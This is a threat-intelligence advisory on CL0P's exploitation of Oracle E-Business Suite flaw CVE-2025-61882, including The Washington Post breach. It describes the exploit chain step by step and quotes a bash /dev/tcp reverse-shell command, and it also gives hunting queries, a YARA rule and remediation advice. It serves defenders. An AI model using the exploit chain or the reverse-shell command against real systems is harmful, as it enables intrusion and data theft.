On or around November 7, 2025, The Washington Post confirmed it was a victim of a “sweeping cyber breach” linked to vulnerabilities in Oracle software. This incident is not an isolated attack but a high-profile component of a massive, global data extortion campaign.

The campaign is attributed with high confidence to the financially motivated, Russian-speaking threat actor group CL0P, which is also tracked as TA505 or GRACEFUL SPIDER. In line with its established tactics, CL0P has been publicizing victims on its dark web data leak site (DLS) in an attempt to extort payments.

The primary attack vector is the exploitation of a critical, unauthenticated remote code execution (RCE) zero-day vulnerability in Oracle E-Business Suite (EBS). This vulnerability is now tracked as CVE-2025-61882.

While the breach of The Washington Post was publicized in November 2025, threat intelligence from Google/Mandiant and CrowdStrike indicates that exploitation in the wild (ITW) began as early as August 9, 2025. This extensive “detection deficit,” spanning nearly three months, allowed the threat actor to conduct patient, large-scale data exfiltration long before sending the first extortion emails to victims in late September and early October 2025. Google has assessed that over 100 companies were likely affected by this campaign.

This operation reinforces CL0P’s strategic pivot to “encryption-less extortion”. The group has increasingly abandoned traditional ransomware deployment in favor of exploiting zero-day vulnerabilities in high-value, internet-facing platforms—such as Managed File Transfer (MFT) and Enterprise Resource Planning (ERP) systems—for pure data theft and public shaming.

Due to the long period of undetected exploitation, immediate patching is insufficient. All organizations using Oracle EBS versions 12.2.3 through 12.2.14 must assume compromise. This report provides a detailed breakdown of the exploit chain, post-exploitation payloads, and persistence mechanisms. Defenders must apply the emergency patch and its prerequisites immediately and conduct an in-depth threat hunt using the Indicators of Compromise (IOCs) and detection guidance provided herein.

Victim Profile: The Washington Post

The most prominent victim publicly named in this campaign is The Washington Post (washingtonpost.com). The newspaper released a statement on Thursday, November 6, 2025, confirming it was “one of those impacted ‘by the breach of the Oracle E-Business Suite platform'”.

An analysis of the victim’s profile provides context for its selection as a target:

• Ownership: The Washington Post is a private company, WP Company LLC, operating as a subsidiary of Nash Holdings LLC. Nash Holdings is the private investment firm of Amazon founder Jeff Bezos.
• Operational Scale: The company maintains a large workforce, with estimates ranging from approximately 2,500 to over 4,100 employees, including around 1,050 journalists. This significant employee base represents a massive potential dataset (e.g., HR, payroll, financial data) managed by an ERP system like Oracle EBS.
• Financials: The organization has an estimated annual revenue of $812.2 million.
• Market Position: The Washington Post is one of the most recognized news organizations in the world, with a global audience and 2.5 million digital subscribers.

CL0P’s core tactic is to “publicize and shame” victims into paying extortion demands. The Washington Post is not a random target; it is an ideal one for this strategy. Its entire business is built on public trust and reputation. The added “celebrity” factor of its ownership by Jeff Bezos guarantees that a breach will attract widespread, international media attention.

The threat actors were clearly aware of this, placing the newspaper “at the top of the Cl0p ransomware gang’s dark leak site” and highlighting the name in a “bright yellow font” to capitalize on this “name recognition”. The breach of The Washington Post serves as a psychological sledgehammer to all other victims in the campaign, sending an implicit message: “If we can breach them and are willing to shame them, you have no chance. Pay us.”

Table 1: Victim Profile: The Washington Post (WP Company LLC)

Threat Actor: CL0P (TA505)

The threat actor behind this campaign is CL0P, a highly sophisticated and prolific group also tracked as TA505 and GRACEFUL SPIDER. Believed to be a Russian-speaking cybercrime collective, TA505 is financially motivated and has been active since at least 2014. Its operations are multifaceted and mature, functioning as a Ransomware-as-a-Service (RaaS) provider, an Initial Access Broker (IAB), and the operator of the Dridex banking trojan botnet.

Historically, CL0P was known for a “double extortion” model: exfiltrating sensitive data and then encrypting victim files to demand a ransom. However, this campaign confirms a significant strategic evolution. Analysis of the group’s 2024 Cleo MFT campaign noted that operators “did not always encrypt data, rather opting for exfiltration only”. This has now become a core TTP. Research from Q1 2025 confirms CL0P has “continued its strategic reliance on encryption-less attacks” and “largely shifted from ‘exfiltrating and encrypting data…'” to just “‘exfiltrating data and extorting money'”.

This shift represents a logical optimization of the group’s business model. Deploying ransomware is a noisy activity, creating millions of file-write events that are highly likely to trigger Endpoint Detection and Response (EDR) and behavioral analytics. By skipping the encryption phase entirely, CL0P’s intrusion becomes far stealthier. The initial RCE and subsequent data exfiltration can be disguised as legitimate application-level traffic, evading many traditional anti-ransomware defenses. This TTP lowers the risk of detection, reduces development overhead, and accelerates the “time-to-extortion.”

This attack on Oracle EBS is not an anomaly; it is the capstone of a multi-year “platform-hunter” campaign. The data reveals a clear, repeating pattern of CL0P/TA505 investing heavily in the discovery and exploitation of zero-day vulnerabilities in widely-used, internet-facing MFT and ERP software.

This TTP is orders of magnitude more sophisticated than typical eCrime. It implies that TA505 either operates a dedicated, in-house vulnerability research (VR) team or has an exclusive, high-cost partnership with a VR provider. They are not simply buying access; they are creating mass access on a scale that rivals nation-state actors. By targeting the platform—a core system used for finance, HR, and supply chain management—they compromise all of its users in a single stroke.

Table 2: CL0P (TA505) Major Campaign Evolution (2020-2025)

The Attack: CVE-2025-61882 Exploit

The Vulnerability

The root cause of this campaign is a critical, unauthenticated RCE vulnerability in Oracle E-Business Suite. The flaw resides within the BI Publisher Integration component, which is part of the Oracle Concurrent Processing product. This vulnerability, which affects Oracle EBS versions 12.2.3 through 12.2.14, is of the highest possible severity, allowing for a complete and unauthenticated takeover of the affected system.

Table 3: Vulnerability Details (CVE-2025-61882)

The Exploit Chain

This vulnerability is not a single, simple flaw. Deep-dive analysis from security researchers at WatchTowr reveals that the exploit “demonstrates a high level of skill and effort, with at least five distinct bugs orchestrated together to achieve pre-authenticated Remote Code Execution”. This complexity explains why it remained an effective zero-day for nearly three months (August to October). It also accounts for reports from Google/Mandiant, which “observed multiple different exploit chains”, suggesting the attackers developed multiple paths to achieve their objective.

Based on public analysis, the exploit chain proceeds as follows:

1. Step 1: Initial SSRF: The attacker sends a crafted HTTP POST request to an unauthenticated public-facing endpoint, such as /OA_HTML/SyncServlet or /OA_HTML/configurator/UiServlet. This request contains an XML payload with a controllable return_url parameter, triggering a Server-Side Request Forgery (SSRF).
2. Step 2: CRLF Injection & Header Smuggling: The attacker embeds CRLF (Carriage Return Line Feed) injection within the SSRF payload. This allows them to “smuggle” new, arbitrary HTTP headers or “frame additional requests” into the server’s HTTP pipeline.
3. Step 3: Authentication Bypass & Internal Pivot: The smuggled headers are used to bypass authentication controls and pivot. The attacker can now force the server to make requests to internal-only endpoints that are not properly constrained and were never intended to be exposed to the internet.
4. Step 4: Malicious XSLT Payload Delivery: Using this authenticated internal pivot, the attacker instructs the EBS server to fetch a malicious XSL stylesheet (XSLT) payload from an attacker-controlled external server.
5. Step 5: Remote Code Execution: The EBS application’s BI Publisher component (which is designed to process XSLT) retrieves and executes the malicious template. This XSLT contains embedded, Base64-encoded Java code which leverages Java’s Script Engine (e.g., Runtime.exec()). This final step achieves RCE, typically spawning a reverse shell as the initial payload.

Post-Exploitation and Persistence

Once initial access is gained, the actor moves to establish persistence and exfiltrate data.

• Initial Access Payload: The first payload executed via the XSLT chain is a simple reverse shell, allowing the attacker to establish an interactive command-and-control (C2) channel. The observed command is sh -c /bin/bash -i >& /dev/tcp// 0>&1.
• Secondary Payloads & Malware: After C2 is established, the actor deploys more sophisticated, persistent payloads:
  • GOLDVEIN.JAVA Downloader: Mandiant observed a Java variant of the GOLDVEIN downloader. This payload beacons to its C2, disguising the handshake as “TLSv3.1,” to retrieve and execute a second-stage payload.
  • SAGEWAVE Java Servlet Filter: Mandiant also identified a multi-stage loader. A loader named SAGEGIFT launches SAGELEAF (an in-memory dropper) to install SAGEWAVE, a malicious Java servlet filter that acts as a persistent backdoor.
  • Log4jConfig... Web Shell: CrowdStrike observed a two-part web shell: FileUtils.java (a downloader) which loads Log4jConfigQpgsubFilter.java (the persistent backdoor). The name Log4jConfigQpgsubFilter is a clear false-flag, designed for defense evasion by blending in with legitimate logging components.

The most critical TTP identified in this campaign is the actor’s method of persistence. Rather than dropping a .jsp web shell file onto the filesystem—where it would be fragile and easily detected by File-Integrity Monitoring (FIM) or EDR scans—the attacker stores their payload directly in the EBS database.

Specifically, the attacker creates a new entry for their malicious template in the XDO_TEMPLATES_B database table. The malicious code (the XSLT/Java payload) is then stored in the XDO_LOBS table.

This is a highly advanced “Living-off-the-Land” (LotL) technique. The payload is no longer a file on disk; it is a row in the application’s own database. The legitimate Oracle EBS application is then instructed (e.g., via the malicious SAGEWAVE servlet filter) to load and execute this “template” from the database directly into memory.

This persistence TTP has severe implications for defenders:

• Filesystem scans (EDR/AV) will find nothing.
• File-Integrity Monitoring will trigger no alerts.
• Standard remediation (e.g., re-imaging the webserver) will fail. The newly-cleaned server will connect to the still-compromised database, reload the malicious template, and be instantly re-infected.

This TTP requires defenders to shift their threat hunt from the filesystem to the database itself.

Defense and Response

Indicators of Compromise (IOCs)

Table 4: Network IOCs

Table 5: File-Based & Artifact IOCs

Table 6: Extortion Campaign IOCs

Threat Hunting

Given the database-resident persistence TTP, traditional filesystem-only threat hunting is insufficient and will likely miss an active compromise.

Database Threat Hunt Procedure (Required):

1. Immediately query the Oracle EBS database.
2. Hunt Query: Execute the following SQL query to identify potentially malicious templates stored by the attacker.SQLSELECT TEMPLATE_CODE, TEMPLATE_TYPE, CREATION_DATE, LAST_UPDATE_DATE, CREATED_BY FROM XDO_TEMPLATES_B WHERE (TEMPLATE_CODE LIKE 'TMP%' OR TEMPLATE_CODE LIKE 'DEF%') AND TEMPLATE_TYPE IN ('XSL-TEXT', 'XML') ORDER BY LAST_UPDATE_DATE DESC;
3. Analysis: Review the results for any templates with a recent CREATION_DATE or LAST_UPDATE_DATE (specifically, any time from August 2025 to the present). The TEMPLATE_CODE prefix (TMP or DEF) is a key indicator. Investigate any suspicious or unknown template. Cross-reference the TEMPLATE_CODE with the XDO_LOBS table to extract and analyze the payload.

Network Log Hunting:

• Search all web, WAF, and firewall logs for HTTP requests to the endpoints listed in Table 4. Pay special attention to HTTP POST requests to /OA_HTML/SyncServlet and /OA_HTML/configurator/UiServlet.
• Look for any requests to the RF.jsp, OA.jsp, and .../navId.1/... paths.
• Hunt for any outbound connections from EBS servers to the IPs in Table 4, or any unusual outbound TCP connections matching the reverse shell command.

Detection Rules:

1. YARA: Google/Mandiant provided a high-fidelity YARA rule (G_Launcher_SAGEWAVE_1) to detect the Log4jConfigQpgsubFilter / SAGEWAVE in-memory payload. This rule should be deployed to all memory and file-scanning systems.Codefragmentrule G_Launcher_SAGEWAVE_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $s1 = "Log4jConfigQpgsubFilter" $s2 = ".Cli" fullword $s3 = "httpReq" fullword $s4 = "AES/CBC/NoPadding" $s5 = "javax/servlet/FilterChain" $s6 = "java/lang/reflect/Method" condition: 4 of ($s*) and filesize < 1MB }
2. Sigma: SOCPrime has released a dedicated ruleset for CVE-2025-61882. Defenders should import this collection into their SIEM.
3. Vendor Protections: Ensure vendor-specific protections are enabled. FortiGuard IPS and Imperva WAF have released signatures to block this exploit chain.

Remediation Steps

A critical and easily missed detail in Oracle’s advisory is the patching prerequisite. The emergency patch for CVE-2025-61882 requires that the Oracle October 2023 Critical Patch Update (CPU) is installed first. The NCSC also highlighted this requirement.

An administrator attempting to apply the emergency patch directly to an out-of-date system may find that the patch fails to apply, leaving the system vulnerable. Furthermore, because the full exploit is a chain of five bugs, it is likely that older patches (like the July or Oct 2023 CPUs) mitigate parts of the chain, with CVE-2025-61882 being the final, critical flaw.

Prioritized Remediation Plan:

1. Step 1: Apply Prerequisite Patch. Immediately confirm that the Oracle October 2023 Critical Patch Update is applied to all Oracle E-Business Suite instances.
2. Step 2: Apply Emergency Patch. Apply the emergency Oracle Security Alert patch for CVE-2025-61882 without delay.
3. Step 3: Conduct Compromise Assessment (Assume Breach). Patching does not remediate an existing compromise. Given that exploitation dates back to August 2025, all organizations must assume breach. Execute the full threat hunt procedure detailed in Section 5.2, with a primary focus on the database persistence TTP.
4. Step 4: Harden & Isolate. As recommended by the NCSC and the Canadian Centre for Cyber Security, review all internet-facing EBS applications. Isolate any that are not business-critical and apply stricter network segmentation and WAF rules to limit the attack surface.

Final Analysis

A highly unusual aspect of this campaign is the public release of the proof-of-concept (PoC) exploit. This PoC was not released by CL0P. It was publicly leaked on a Telegram channel by a rival group calling themselves “Scattered LAPSUS$ Hunters”.

The PoC.zip file was named with a clear, derogatory message: oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip. This group, along with ShinyHunters (codenamed the “Trinity of Chaos”), was not collaborating with CL0P. In their public posts, they openly “criticized Graceful Spider’s [CL0P’s] tactics”.

Analysis from Rapid7 confirms this was not a partnership: “this doesn’t seem to have been intentional at all… The way they call out Cl0p and the language used doesn’t appear to represent a ‘friendship’ between partners in crime”.

This event provides a rare window into a hyper-competitive, ego-driven cybercrime ecosystem. It implies that the “Scattered LAPSUS$” group had access to the same highly complex, five-bug zero-day chain and chose to “burn” it publicly, seemingly out of spite or to mock CL0P.

This infighting has two major implications for defenders:

1. The era of predictable, monolithic ransomware gangs is over. The ecosystem is now populated by multiple, highly-skilled, and competing groups who are all targeting the same high-value enterprise platforms.
2. This competition is a double-edged sword. While it can lead to public PoC leaks that aid defenders, it also dramatically accelerates the “n-day” exploitation timeline, as now every threat actor has access to the weaponized exploit.

The key takeaway for every Security Operations Center is that enterprise-critical platforms (MFT, ERP, CRM) are the new frontline. CL0P’s strategic, multi-year campaign proves that these “boring” backend applications are the highest-value targets. Defense-in-depth, rapid patching of all prerequisites, and proactive, database-level threat hunting are the only viable strategies against this evolved threat.